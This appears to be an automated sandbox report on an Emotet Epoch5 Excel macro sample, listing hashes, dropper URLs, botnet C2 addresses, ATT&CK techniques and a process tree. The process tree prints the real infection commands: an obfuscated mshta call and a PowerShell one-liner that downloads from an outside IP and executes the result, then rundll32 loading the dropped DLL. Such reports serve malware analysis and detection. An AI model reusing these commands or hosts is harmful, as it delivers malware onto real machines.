emotet | 6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a

Analysis

max time kernel
114s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
21-01-2022 05:56

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General

Target

4270154906075350.xlsm
Size

49KB
MD5

cd7a6da12697f937963a4364a85aad3d
SHA1

497f9465dc7bc3e7a14d1e7b97ffa74414805eb3
SHA256

6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a
SHA512

9f0652b62aa8a3cb3bd4cb306ec4c76d5f45ff99d7ad901b97c398d569e355c3af61780a8d9a8cc89db326ce8edbb98b129d2b1d1faa3310701a093fa9d6dde8

Score

10^/10

emotet epoch5 banker persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	116	1008	cmd.exe	52

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2904 created 60	2904	WerFault.exe	62

Blocklisted process makes network request 5 IoCs

flow	pid	Process
39	60	mshta.exe
51	824	powershell.exe
53	824	powershell.exe
74	1000	rundll32.exe
75	1000	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
1624	rundll32.exe
1700	rundll32.exe
3328	rundll32.exe
1000	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Wxlwr\fwck.hie	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
332	60	WerFault.exe	62

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1008	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
824	powershell.exe
824	powershell.exe
332	WerFault.exe
332	WerFault.exe
1000	rundll32.exe
1000	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	824	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 116	1008	EXCEL.EXE	60
PID 1008 wrote to memory of 116	1008	EXCEL.EXE	60
PID 116 wrote to memory of 60	116	cmd.exe	62
PID 116 wrote to memory of 60	116	cmd.exe	62
PID 60 wrote to memory of 824	60	mshta.exe	67
PID 60 wrote to memory of 824	60	mshta.exe	67
PID 2904 wrote to memory of 60	2904	WerFault.exe	62
PID 2904 wrote to memory of 60	2904	WerFault.exe	62
PID 824 wrote to memory of 3492	824	powershell.exe	75
PID 824 wrote to memory of 3492	824	powershell.exe	75
PID 3492 wrote to memory of 1624	3492	cmd.exe	76
PID 3492 wrote to memory of 1624	3492	cmd.exe	76
PID 3492 wrote to memory of 1624	3492	cmd.exe	76
PID 1624 wrote to memory of 1700	1624	rundll32.exe	77
PID 1624 wrote to memory of 1700	1624	rundll32.exe	77
PID 1624 wrote to memory of 1700	1624	rundll32.exe	77
PID 1700 wrote to memory of 3328	1700	rundll32.exe	80
PID 1700 wrote to memory of 3328	1700	rundll32.exe	80
PID 1700 wrote to memory of 3328	1700	rundll32.exe	80
PID 3328 wrote to memory of 1000	3328	rundll32.exe	81
PID 3328 wrote to memory of 1000	3328	rundll32.exe	81
PID 3328 wrote to memory of 1000	3328	rundll32.exe	81

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4270154906075350.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe1.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:60
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:824
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3492
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1624
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1700
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wxlwr\fwck.hie",wVtiwWcjsy
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3328
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wxlwr\fwck.hie",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1000
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 60 -s 1616
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:368

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe bc5b7e229a5f738c59c482278bbbc2b0 /qhMMxK3h0WVn1YB0kAugw.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3992

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 416 -p 60 -ip 60
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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memory/824-381-0x0000022F9E730000-0x0000022F9E774000-memory.dmp

Filesize
272KB

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memory/824-634-0x0000022F9EA20000-0x0000022F9EA96000-memory.dmp

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472KB

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memory/824-166-0x0000022F86300000-0x0000022F86322000-memory.dmp

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136KB

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memory/824-168-0x0000022F86370000-0x0000022F9E4A0000-memory.dmp

Filesize
385.2MB

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memory/824-239-0x0000022F86370000-0x0000022F9E4A0000-memory.dmp

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385.2MB

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memory/1000-655-0x00000000049C0000-0x00000000049E8000-memory.dmp

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160KB

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memory/1000-663-0x0000000004D10000-0x0000000004D38000-memory.dmp

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160KB

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memory/1000-657-0x0000000004A20000-0x0000000004A48000-memory.dmp

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160KB

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memory/1000-653-0x0000000004380000-0x00000000043A8000-memory.dmp

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160KB

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memory/1000-651-0x0000000000D30000-0x0000000000D58000-memory.dmp

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160KB

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memory/1000-659-0x0000000004B00000-0x0000000004B28000-memory.dmp

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160KB

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memory/1000-661-0x0000000004BE0000-0x0000000004C08000-memory.dmp

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160KB

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memory/1008-690-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-689-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-688-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-687-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-131-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-138-0x00007FFC3D9F0000-0x00007FFC3DA00000-memory.dmp

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64KB

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memory/1008-133-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-132-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-134-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-130-0x00007FFC3FBD0000-0x00007FFC3FBE0000-memory.dmp

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64KB

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memory/1008-137-0x00007FFC3D9F0000-0x00007FFC3DA00000-memory.dmp

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64KB

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memory/1624-629-0x0000000000CD0000-0x0000000000CF8000-memory.dmp

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160KB

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memory/1700-637-0x0000000004DF0000-0x0000000004E18000-memory.dmp

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160KB

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memory/1700-647-0x0000000005110000-0x0000000005138000-memory.dmp

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160KB

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memory/1700-643-0x0000000004F90000-0x0000000004FB8000-memory.dmp

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160KB

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memory/1700-641-0x0000000004F30000-0x0000000004F58000-memory.dmp

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160KB

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memory/1700-639-0x0000000004ED0000-0x0000000004EF8000-memory.dmp

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160KB

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memory/1700-632-0x0000000000CE0000-0x0000000000D08000-memory.dmp

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160KB

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memory/3328-646-0x0000000004C30000-0x0000000004C58000-memory.dmp

Filesize
160KB

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